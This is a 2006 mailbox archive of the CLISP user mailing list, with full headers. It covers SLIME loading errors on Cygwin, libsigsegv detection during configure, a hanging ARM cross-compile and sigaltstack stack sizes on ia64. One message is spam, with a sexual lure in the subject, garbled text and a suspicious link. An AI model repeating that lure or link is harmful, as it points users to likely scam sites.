http://mideasttruth.com http://palestinefacts.org http://pmw.org.il http://honestreporting.com http://dhimmi.com http://iris.org.il MS: our tomorrow's software will run on your tomorrow's HW at today's speed. From peterklga@2cv6.freeserve.co.uk Tue Jun 20 18:56:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fsrwn-0006Bs-HY for clisp-list@lists.sourceforge.net; Tue, 20 Jun 2006 18:56:01 -0700 Received: from c243h171.personal18.cable.mecha.ne.jp ([61.206.243.171]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Fsrwl-0007mp-Jp for clisp-list@lists.sourceforge.net; Tue, 20 Jun 2006 18:56:01 -0700 Received: from mail-in.freeserve.com by C243H171.personal18.cable.mecha.ne.jp (8.9.3/8.9.3) with SMTP id SDMJOXhczW3K for ; Tue, 20 Jun 2006 20:56:28 -0500 Received: from xzbtalabbs (74.159.225.58) by mail-in.freeserve.com (qmail-ldap-1.03) with SMTP for ; Tue, 20 Jun 2006 20:56:28 -0500 From: "Shannon" Message-ID: <9583918829.20060620205628@xzbtalabbs> Date: Tue, 20 Jun 2006 20:56:28 -0500 To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.5 HELO_DYNAMIC_HCC Relay HELO'd using suspicious hostname (HCC) Subject: [clisp-list] Dad help his sexy daughter to lose vicrginity twice X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: Shannon Mills List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 Jun 2006 01:56:01 -0000 Singles moms and Married... Sugar mommieus :-) http://patentees.myfdvfdtyds234.com/?uniquemore mode all check after we seen site, wanna site model, art sell wish form send? >> link big link own: love ever offer only welcome see by; word first, just today. info really task, your access? bye Shannon Mills From lisp-clisp-list@m.gmane.org Wed Jun 21 12:40:26 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ft8Ys-0008Fa-K7 for clisp-list@lists.sourceforge.net; Wed, 21 Jun 2006 12:40:26 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ft8Yr-0005Fw-TH for clisp-list@lists.sourceforge.net; Wed, 21 Jun 2006 12:40:26 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1Ft8YU-0006qh-A2 for clisp-list@lists.sourceforge.net; Wed, 21 Jun 2006 21:40:02 +0200 Received: from natsvc2.juniper.net ([207.17.136.151]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 21 Jun 2006 21:40:02 +0200 Received: from funkyj by natsvc2.juniper.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 21 Jun 2006 21:40:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: funkyj@gmail.com Followup-To: gmane.lisp.slime.devel Date: 21 Jun 2006 12:34:49 -0700 Lines: 84 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: natsvc2.juniper.net User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 Sender: news X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: Re: [clisp-list] upgraded clisp on cygwin, now slime won't load X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 Jun 2006 19:40:26 -0000 funkyj@gmail.com writes: > I had slime + clisp (on cygwin) working fine. Yesterday I decided to > upgrade various cygwin packages (including clisp). Now when I try to > start slime I get this error: > > [1]> > *** - LOAD: A file with name > /c/cygwin/home/jcano/elisp/slime/2006-06-21/slime/swank-loader.lisp does > not exist > The following restarts are available: > ABORT :R1 ABORT [...] > I can probably fix this by overriding slime-path (I'll try that after > posting this). Does anyone know why upgrading (I think I had 2.35) to > 2.38 would cause this failure? OK, I patched `slime-path' in my .emacs_slime file like this: (defvar slime-path "/home/jcano/elisp/slime/2006-06-21/slime/") and I no longer get the error mentioned above (i.e. can't find "swank-loader.lisp"). Now I'm getting a new error: ;; Loaded file /home/jcano/.slime/fasl/2006-06-18/clisp-2.38-unix-pc386/swank.fas 0 errors, 0 warnings WARNING: These Swank interfaces are unimplemented: (ACTIVATE-STEPPING ADD-FD-HANDLER ADD-SIGIO-HANDLER ALL-THREADS CALLS-WHO DISASSEMBLE-FRAME FIND-THREAD INSPECT-FOR-EMACS INTERRUPT-THREAD RECEIVE REMOVE-FD-HANDLERS REMOVE-SIGIO-HANDLERS SEND SLDB-BREAK-AT-START SLDB-BREAK-ON-RETURN SPAWN THREAD-ID TOGGLE-TRACE WHO-MACROEXPANDS WHO-SPECIALIZES) ;; Loaded file /home/jcano/elisp/slime/2006-06-21/slime/swank-loader.lisp T [2]> *** - nonexistent directory: #P"/" The following restarts are available: ABORT :R1 ABORT Break 1 [3]> :bt Printed 0 frames Break 1 [3]> Damn, that will teach me to upgrade, eh? Here are the versions of stuff I'm currently using: clisp (from Cygwin): GNU CLISP 2.38 (2006-01-24) (built on winsteingoldlap.bluelnk.net [10.41.52.143]) SLIME: CVS head (also tried 'fairly stable') 2006-06-21 emacs: GNU Emacs 21.3.1 (i386-mingw-nt5.1.2600) of 2004-03-10 on NYAUMO .emacs_slime (slime specific emacs lisp -- loaded by .emacs) ;; -*- mode: emacs-lisp -*- (message "begin .emacs_slime") (setq inferior-lisp-program "clisp") ;;; #@ attempted work around for 'swank-loader.lisp does not exist' ;;; error (defvar slime-path "/home/jcano/elisp/slime/2006-06-21/slime/") (add-to-list 'load-path ;; CVS head (concat (getenv "HOME") "/elisp/slime/2006-06-21/slime") t) (require 'slime) (slime-setup) ;;; Configuration of Erik Naggum's HyperSpec access package. ;; If you have a local copy of the HyperSpec, set its path here. (setq common-lisp-hyperspec-root "file:///c:/cygwin/home/jcano/docs/CL/HyperSpec/") (setq common-lisp-hyperspec-symbol-table (concat (getenv "HOME") "/docs/CL/HyperSpec/ilisp/map_sym.txt" )) (message "end .emacs_slime") From jcorneli@planetmath.cc.vt.edu Wed Jun 28 00:47:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FvUmC-0002Q9-Kr for clisp-list@lists.sourceforge.net; Wed, 28 Jun 2006 00:47:56 -0700 Received: from planetmath.cc.vt.edu ([198.82.161.133]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FvUmC-0000YH-CP for clisp-list@lists.sourceforge.net; Wed, 28 Jun 2006 00:47:56 -0700 Received: by planetmath.cc.vt.edu (Postfix, from userid 1025) id D666D8193; Wed, 28 Jun 2006 03:47:54 -0400 (EDT) From: Joe Corneli To: clisp-list@lists.sourceforge.net Message-Id: <20060628074754.D666D8193@planetmath.cc.vt.edu> Date: Wed, 28 Jun 2006 03:47:54 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] libsigsegv not detected X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 28 Jun 2006 07:47:56 -0000 Am I doing something idiotic? When I try to run ./configure... in order to build clisp-2.38 on my Mac OS X 10.3.9 box, I get an error with instructions: ./configure: libsigsegv was not detected, thus some features, such as generational garbage collection and stack overflow detection in interpreted Lisp code cannot be provided. Please do this: mkdir tools; cd tools; prefix=`pwd`/powerpc-apple-darwin7.9.0 wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=${prefix} && make && make check && make install cd ../.. ./configure --with-libsigsegv-prefix=${prefix} --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0 If you insist on building without libsigsegv, please pass --ignore-absence-of-libsigsegv to this script: ./configure --ignore-absence-of-libsigsegv --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0 However, here is how I am running ./configure: ./configure --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0 And if I look in the directory that is supposed to contain libsigsegv, I seem to find the right thing. Why isn't configure finding it, too? cd /Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0 && find ./ ./ ./include ./include/sigsegv.h ./lib ./lib/libsigsegv.a ./lib/libsigsegv.la From zellerin@gmail.com Wed Jun 28 05:30:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FvZC5-0003Rx-Vb for clisp-list@lists.sourceforge.net; Wed, 28 Jun 2006 05:30:58 -0700 Received: from hu-out-0102.google.com ([72.14.214.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FvZC4-0005db-FG for clisp-list@lists.sourceforge.net; Wed, 28 Jun 2006 05:30:57 -0700 Received: by hu-out-0102.google.com with SMTP id 34so1291675hud for ; Wed, 28 Jun 2006 05:30:55 -0700 (PDT) Received: by 10.78.164.13 with SMTP id m13mr65889hue; Wed, 28 Jun 2006 01:12:54 -0700 (PDT) Received: by 10.78.137.13 with HTTP; Wed, 28 Jun 2006 01:12:54 -0700 (PDT) Message-ID: Date: Wed, 28 Jun 2006 10:12:54 +0200 From: "Tomas Zellerin" To: clisp-list@lists.sourceforge.net In-Reply-To: <20060628074754.D666D8193@planetmath.cc.vt.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20060628074754.D666D8193@planetmath.cc.vt.edu> X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: Re: [clisp-list] libsigsegv not detected X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 28 Jun 2006 12:30:58 -0000 I think this may be issue discussed as 1) in http://article.gmane.org/gmane.lisp.clisp.general/11079/ If I recall correctly, the problem is that if you have gcc4, you should use libsigsegv 2.3 or newer - there was a test in older versions that gcc4 optimizes away. Is it your case? >From post referenced (by Hoehle, Joerg-Cyril) --- 1) gcc4 causes libsigsegv to misconfigure and not provide stack overflow detection. This can be seen in the include file sigsegv.h. If it does not say #if 1 # define HAVE_STACK_OVERFLOW_RECOVERY 1 and your Linux is new enough and gcc4 was used to compile it, it's misconfigured. --- On 6/28/06, Joe Corneli wrote: > Am I doing something idiotic? > > When I try to run ./configure... in order to build clisp-2.38 > on my Mac OS X 10.3.9 box, I get an error with instructions: > > ./configure: libsigsegv was not detected, thus some features, such as > generational garbage collection and > stack overflow detection in interpreted Lisp code > cannot be provided. > Please do this: > mkdir tools; cd tools; prefix=`pwd`/powerpc-apple-darwin7.9.0 > wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz > tar xfz libsigsegv-2.2.tar.gz > cd libsigsegv-2.2 > ./configure --prefix=${prefix} && make && make check && make install > cd ../.. > ./configure --with-libsigsegv-prefix=${prefix} --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0 > If you insist on building without libsigsegv, please pass > --ignore-absence-of-libsigsegv > to this script: > ./configure --ignore-absence-of-libsigsegv --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0 > > However, here is how I am running ./configure: > > ./configure --with-libreadline-prefix=/sw --with-libsigsegv-prefix=/Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0 > > And if I look in the directory that is supposed to contain libsigsegv, > I seem to find the right thing. Why isn't configure finding it, too? > > cd /Users/jcorneli/clisp-2.38/tools/powerpc-apple-darwin7.9.0 && find ./ > ./ > ./include > ./include/sigsegv.h > ./lib > ./lib/libsigsegv.a > ./lib/libsigsegv.la > > > Using Tomcat but need to do more? Need to support web services, security? > Get stuff done quickly with pre-integrated technology to make your job easier > Download IBM WebSphere Application Server v.1.0.1 based on Apache Geronimo > http://sel.as-us.falkag.net/sel?cmd=lnk&kid=120709&bid=263057&dat=121642 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From yong.personal.mail@gmail.com Wed Jun 28 22:59:09 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FvpYT-0005Vv-G4 for clisp-list@lists.sourceforge.net; Wed, 28 Jun 2006 22:59:09 -0700 Received: from nf-out-0910.google.com ([64.233.182.188]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FvpYQ-0000HL-JP for clisp-list@lists.sourceforge.net; Wed, 28 Jun 2006 22:59:09 -0700 Received: by nf-out-0910.google.com with SMTP id c2so15343nfe for ; Wed, 28 Jun 2006 22:59:03 -0700 (PDT) Received: by 10.49.12.1 with SMTP id p1mr73152nfi; Wed, 28 Jun 2006 22:59:03 -0700 (PDT) Received: by 10.49.31.1 with HTTP; Wed, 28 Jun 2006 22:59:03 -0700 (PDT) Message-ID: Date: Thu, 29 Jun 2006 13:59:03 +0800 From: "Luo Yong" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] halt when cross compiling clisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 29 Jun 2006 05:59:09 -0000 Hello evebody. I download the latest source code tarball.but here's a big problem that it always come to a halt when configure the source code. The command line and the output is: === $ ./configure --prefix=/home/yong/software/toolchain/clisp/binary --without-readline --host=arm-elf --build binary executing /home/yong/software/toolchain/clisp/clisp-2.37/binary/configure --srcdir=../src --prefix=/home/yong/software/toolchain/clisp/binary --without-readline --host=arm-elf --cache-file=config.cache configure: WARNING: If you wanted to set the --build type, don't use --host. If a cross compiler is detected then cross compile mode will be used. configure: loading cache config.cache configure: * checks for UNIX variants that set DEFS checking for arm-elf-gcc... arm-elf-gcc -elf2flt checking for C compiler default output file name... b.out checking whether the C compiler works... yes checking whether we are cross compiling... yes checking for suffix of executables... checking for suffix of object files... o checking whether we are using the GNU C compiler... yes checking whether arm-elf-gcc -elf2flt accepts -g... yes checking for arm-elf-gcc -elf2flt option to accept ANSI C... none needed checking how to run the C preprocessor... arm-elf-gcc -elf2flt -E checking for egrep... grep -E checking for AIX... no checking for ANSI C header files... yes checking for sys/types.h... yes checking for sys/stat.h... yes checking for stdlib.h... yes checking for string.h... yes checking for memory.h... yes checking for strings.h... yes checking for inttypes.h... yes checking for stdint.h... yes checking for unistd.h... yes checking minix/config.h usability... no checking minix/config.h presence... no checking for minix/config.h... no configure: * checks for programs checking for arm-elf-gcc... (cached) arm-elf-gcc -elf2flt checking whether we are using the GNU C compiler... (cached) yes checking whether arm-elf-gcc -elf2flt accepts -g... (cached) yes checking for arm-elf-gcc -elf2flt option to accept ANSI C... (cached) none needed checking how to run the C preprocessor... arm-elf-gcc -elf2flt -E checking for ranlib... ranlib checking for a BSD compatible install... /usr/bin/install -c checking how to copy files... cp -p checking how to make hard links... ln checking whether ln -s works... yes checking how to make hard links to symlinks... hln checking for groff... groff checking for dvipdf... dvipdf checking for gzip... gzip checking whether test -nt works... yes checking for gmake... no checking for make... make checking whether make sets $(MAKE)... yes checking for GNU make... yes configure: * checks for system features checking for special C compiler options needed for large files... no checking for _FILE_OFFSET_BITS value needed for large files... 64 checking for _LARGE_FILES value needed for large files... no checking whether using GNU C... yes checking whether using C++... no checking whether CPP likes indented directives... yes checking whether CPP likes empty macro arguments... yes checking for underscore in external names... no checking for getpwnam... yes checking for DYNIX/ptx libseq or libsocket... no checking whether gethostent requires -lnsl... no checking whether setsockopt requires -lsocket... no checking whether CC works at all... yes configure: * check for host type checking build system type... i686-pc-linux-gnu checking host system type... arm-unknown-elf configure: * check for add-ons checking for ld used by GCC... /usr/local/arm-elf/bin/ld checking if the linker (/usr/local/arm-elf/bin/ld) is GNU ld... yes checking for shared library run path origin... done checking for iconv... no, consider installing GNU libiconv checking for a BSD-compatible install... /usr/bin/install -c checking whether NLS is requested... yes checking for msgfmt... /usr/bin/msgfmt checking for gmsgfmt... /usr/bin/msgfmt checking for xgettext... /usr/bin/xgettext checking for msgmerge... /usr/bin/msgmerge checking for CFPreferencesCopyAppValue... no checking for CFLocaleCopyCurrent... no checking whether NLS is requested... yes checking for GNU gettext in libc... no checking for iconv... (cached) no, consider installing GNU libiconv checking for GNU gettext in libintl... no checking whether to use NLS... no checking for libsigsegv... no, consider installing GNU libsigsegv configure: * checks for fundamental compiler characteristics checking for inline... inline checking for working void... yes checking for working "return void"... yes checking for inline __builtin_strlen... no checking for long long... yes configure: * checks for header files checking for ANSI C header files... yes checking sys/inttypes.h usability... no checking sys/inttypes.h presence... no checking for sys/inttypes.h... no checking for unistd.h... (cached) yes checking sys/file.h usability... yes checking sys/file.h presence... yes checking for sys/file.h... yes checking for offsetof in stddef.h... yes checking for stdbool.h... no checking for _Bool type... no checking for inttypes.h... yes checking for sys/inttypes.h... (cached) no checking for stdint.h... yes checking for sys/file.h... (cached) yes checking for R_OK in unistd.h... yes checking for sys/file.h... (cached) yes checking for O_RDWR in fcntl.h... yes checking for dirent.h that defines DIR... yes checking for opendir in -ldir... no checking for sys/utsname.h and struct utsname... yes checking netdb.h usability... yes checking netdb.h presence... yes checking for netdb.h... yes checking for lber.h... no checking for ldap.h... no checking sys/shm.h usability... yes checking sys/shm.h presence... yes checking for sys/shm.h... yes checking sys/ipc.h usability... yes checking sys/ipc.h presence... yes checking for sys/ipc.h... yes checking termios.h usability... yes checking termios.h presence... yes checking for termios.h... yes checking termio.h usability... yes checking termio.h presence... yes checking for termio.h... yes checking sys/termio.h usability... no checking sys/termio.h presence... no checking for sys/termio.h... no checking sgtty.h usability... yes checking sgtty.h presence... yes checking for sgtty.h... yes checking for tcgetattr... yes checking for TCSAFLUSH in termios.h... yes checking for struct winsize in termios.h... no checking for struct winsize in sys/ioctl.h... yes checking for xmkmf... yes checking for X... libraries /usr/lib, headers /usr/include configure: * checks for typedefs checking for caddr_t in sys/types.h... yes checking for socklen_t in sys/socket.h... yes checking for off_t... yes checking size of off_t... 8 checking for struct timeval... yes checking size of struct timeval... 8 configure: * checks for structure members checking for struct dirent.d_namlen... no checking whether struct tm is in sys/time.h or time.h... time.h configure: * checks for functions and declarations checking for broken HP/UX malloc... guessing no checking for working alloca.h... yes checking for alloca... yes checking for _setjmp... yes checking for _longjmp... yes checking return type of signal handlers... void checking whether the signal handler function type needs dots... no checking for sighold... yes checking for sigprocmask... yes checking for sigblock... yes checking for signal blocking interfaces... SystemV POSIX BSD checking whether signal handlers need to be reinstalled... guessing yes checking whether signals are blocked when signal handlers are entered... guessing yes checking whether other signals are blocked when signal handlers are entered... guessing yes checking for sigaction... yes checking for siginterrupt... yes checking for fpu_control_t... yes checking for __setfpucw... yes checking for raise... yes checking for abort declaration... extern void abort (void); checking for perror declaration... yes checking for strerror... yes checking for sysconf... yes checking for getdtablesize... yes checking for memset... yes checking for setsid... yes checking for setpgid... yes checking for fsync... yes checking for flock... yes checking for gethostent... yes checking for shutdown... yes checking for usleep... yes checking for ualarm... no checking for setitimer... yes checking for nice... yes checking for ftime... yes checking for realpath... yes checking for putenv... yes checking for setenv... yes checking for unsetenv... yes checking whether environ is declared... yes checking return value of unsetenv... void checking for LC_MESSAGES... yes checking for getrlimit... yes checking for setrlimit... yes checking for rlim_t... yes checking size of rlim_t... 8 checking for getrlimit declaration... extern int getrlimit (enum __rlimit_resource, struct rlimit *); checking for setrlimit declaration... extern int setrlimit (enum __rlimit_resource, const struct rlimit *); checking for pid_t... yes checking for unistd.h... (cached) yes checking vfork.h usability... no checking vfork.h presence... no checking for vfork.h... no checking for fork... yes checking for vfork... yes checking for working fork... cross configure: WARNING: result yes guessed because of cross compilation checking for working vfork... (cached) yes checking for waitpid declaration... extern pid_t waitpid (pid_t, int*, int); checking sys/resource.h usability... yes checking sys/resource.h presence... yes checking for sys/resource.h... yes checking sys/times.h usability... yes checking sys/times.h presence... yes checking for sys/times.h... yes checking for getrusage... yes checking for getrusage declaration... extern int getrusage (int, struct rusage *); checking whether getrusage works... guessing no checking for getcwd... yes checking for getcwd declaration... extern char* getcwd (char*, size_t); checking whether stat file-mode macros are broken... no checking whether time.h and sys/time.h may both be included... yes checking for lstat... yes checking sys/statvfs.h usability... yes checking sys/statvfs.h presence... yes checking for sys/statvfs.h... yes checking sys/statfs.h usability... yes checking sys/statfs.h presence... yes checking for sys/statfs.h... yes checking for sys/stat.h... (cached) yes checking whether f_fsid is scalar... yes checking for fsblkcnt_t... yes checking size of fsblkcnt_t... 8 checking for fsfilcnt_t... yes checking size of fsfilcnt_t... 8 checking for struct stat.st_rdev... yes checking for struct stat.st_blksize... yes checking for struct stat.st_blocks... yes checking for ino_t... yes checking size of ino_t... 8 checking for dev_t... yes checking size of dev_t... 8 checking for readlink... yes checking for ELOOP... yes checking for closedir declaration... extern int closedir (DIR*); checking for usable closedir return value... guessing no checking for ioctl... yes checking for ioctl declaration... extern int ioctl (int, unsigned long, ...); checking for FIONREAD... no checking for FIONREAD in sys/filio.h... no checking for FIONREAD in sys/ioctl.h... yes checking for reliable FIONREAD... guessing no checking for poll... yes checking for reliable poll()... guessing no checking for select... yes checking for sys/select.h... yes checking for select declaration... extern int select (int, fd_set *, fd_set *, fd_set *, struct timeval *); checking for reliable select()... guessing no checking for gettimeofday... yes checking for gettimeofday declaration... extern int gettimeofday (struct timeval *, struct timezone *); checking for gethostname... yes checking for connect... yes checking for connect declaration... extern int connect (int, const struct sockaddr *, socklen_t); checking sys/un.h usability... yes checking sys/un.h presence... yes checking for sys/un.h... yes checking for sun_len in struct sockaddr_un... no checking for IPv4 sockets... yes checking for IPv6 sockets... yes checking for inet_pton... yes checking for inet_ntop... yes checking for inet_addr... yes checking for setsockopt... yes checking for getsockopt... yes checking netinet/in.h usability... yes checking netinet/in.h presence... yes checking for netinet/in.h... yes checking arpa/inet.h usability... yes checking arpa/inet.h presence... yes checking for arpa/inet.h... yes checking for inet_addr declaration... extern unsigned int inet_addr (const char*); checking for netinet/tcp.h... yes checking for setsockopt declaration... extern int setsockopt (int, int, int, const void*, unsigned int); checking for the code address range... guessing 0 checking for the malloc address range... guessing 0 checking for the shared library address range... guessing 0 checking for the stack address range... guessing ~0 checking for getpagesize... yes checking for getpagesize declaration... extern int getpagesize (void); checking for vadvise... no checking for vm_allocate... no checking sys/mman.h usability... yes checking sys/mman.h presence... yes checking for sys/mman.h... yes checking for mmap... yes checking for working mmap... no checking for munmap... yes checking for msync... yes checking for mprotect... yes checking for working mprotect... no checking for working shared memory... guessing no checking dlfcn.h usability... yes checking dlfcn.h presence... yes checking for dlfcn.h... yes checking for library containing dlopen... no checking for dlopen... no checking for dlsym... no checking for dlerror... no checking for dlclose... no configure: * checks for libraries checking for library containing tgetent... no configure: not checking for readline configure: * checks for OS services checking for the valid characters in filenames... guessing 7-bit configure: * checks for compiler characteristics (arithmetic data types) checking whether char is unsigned... yes checking whether single-float divbyzero raises an exception... guessing no checking whether single-float overflow raises an exception... guessing no checking whether single-float underflow raises an exception... guessing no checking whether single-float inexact raises an exception... guessing no checking whether double-float divbyzero raises an exception... guessing no checking whether double-float overflow raises an exception... guessing no checking whether double-float underflow raises an exception... guessing no checking whether double-float inexact raises an exception... guessing no checking for long double... yes checking whether byte ordering is bigendian... no configure: checking for integer types and behaviour... creating === Then it halt here.The only way can stop this is Ctrol+c. How can I solve this? The cross compiler is downloaded from http://www.uclinux.org/pub/uClinux/arm-elf-tools/ Thanks. Sorry for that my English is poor. From pvaneynd@debian.org Fri Jun 30 14:25:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FwQU1-0007Ir-2O for clisp-list@lists.sourceforge.net; Fri, 30 Jun 2006 14:25:01 -0700 Received: from out3.smtp.messagingengine.com ([66.111.4.27]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FwQTz-0005Vk-Li for clisp-list@lists.sourceforge.net; Fri, 30 Jun 2006 14:25:00 -0700 Received: from frontend3.internal (frontend3.internal [10.202.2.152]) by frontend1.messagingengine.com (Postfix) with ESMTP id 52FD4D89B31 for ; Fri, 30 Jun 2006 17:24:57 -0400 (EDT) Received: from heartbeat1.messagingengine.com ([10.202.2.160]) by frontend3.internal (MEProxy); Fri, 30 Jun 2006 17:24:59 -0400 X-Sasl-enc: y4ZUFa/AUb88zrmR78AX0s/huuBm92n48IabYl2mMqt/ 1151702697 Received: from sharrow (unknown [212.224.149.200]) by mail.messagingengine.com (Postfix) with ESMTP id A392870FA for ; Fri, 30 Jun 2006 17:24:57 -0400 (EDT) From: Peter Van Eynde To: clisp-list@lists.sourceforge.net Date: Fri, 30 Jun 2006 23:24:07 +0200 User-Agent: KMail/1.9.1 References: <20060628074754.D666D8193@planetmath.cc.vt.edu> In-Reply-To: Organization: Debian MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200606302324.15044.pvaneynd@debian.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] libsigsegv not detected X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 Jun 2006 21:25:01 -0000 Hello, > If I recall correctly, the problem is that if you have gcc4, you > should use libsigsegv 2.3 or newer - there was a test in older > versions that gcc4 optimizes away. Is it your case? Recently I've been investigating the build failures of clisp for ia64, and I've noticed that libsigsegv does not report being able to detect a stack overflow even with gcc-3.3. The problem is code like the following in configure: altstack.ss_sp = mystack; altstack.ss_size = sizeof (mystack); altstack.ss_flags = 0; /* no SS_DISABLE */ if (sigaltstack (&altstack, NULL) < 0) { on ia64 SIGSTKSZ (minimum stack size supported) is 262144 bytes while the standard stack created in the tests is 16384 bytes. Changing all mentions of char mystack[16384]; into char mystack[SIGSTKSZ] seems to work. Then I modified src/handler-unix.c to also have SIGSTKSZ as a minimum stack size: ss.ss_size = extra_stack_size; if (ss.ss_size < SIGSTKSZ) ss.ss_size = SIGSTKSZ; I'm building clisp now to check if this helped. :-S Groetjes, Peter -- signature -at- pvaneynd.mailworks.org http://www.livejournal.com/users/pvaneynd/ "God, root, what is difference?" Pitr | "God is more forgiving." Dave Aronson| From jcorneli@planetmath.cc.vt.edu Sun Jul 02 14:58:39 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fx9xe-0001Hu-TL for clisp-list@lists.sourceforge.net; Sun, 02 Jul 2006 14:58:38 -0700 Received: from planetmath.cc.vt.edu ([198.82.161.133]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fx9xd-0000hi-GC for clisp-list@lists.sourceforge.net; Sun, 02 Jul 2006 14:58:38 -0700 Received: by planetmath.cc.vt.edu (Postfix, from userid 1025) id E6D6D818F; Sun, 2 Jul 2006 17:58:35 -0400 (EDT) From: Joe Corneli To: clisp-list@lists.sourceforge.net In-reply-to: 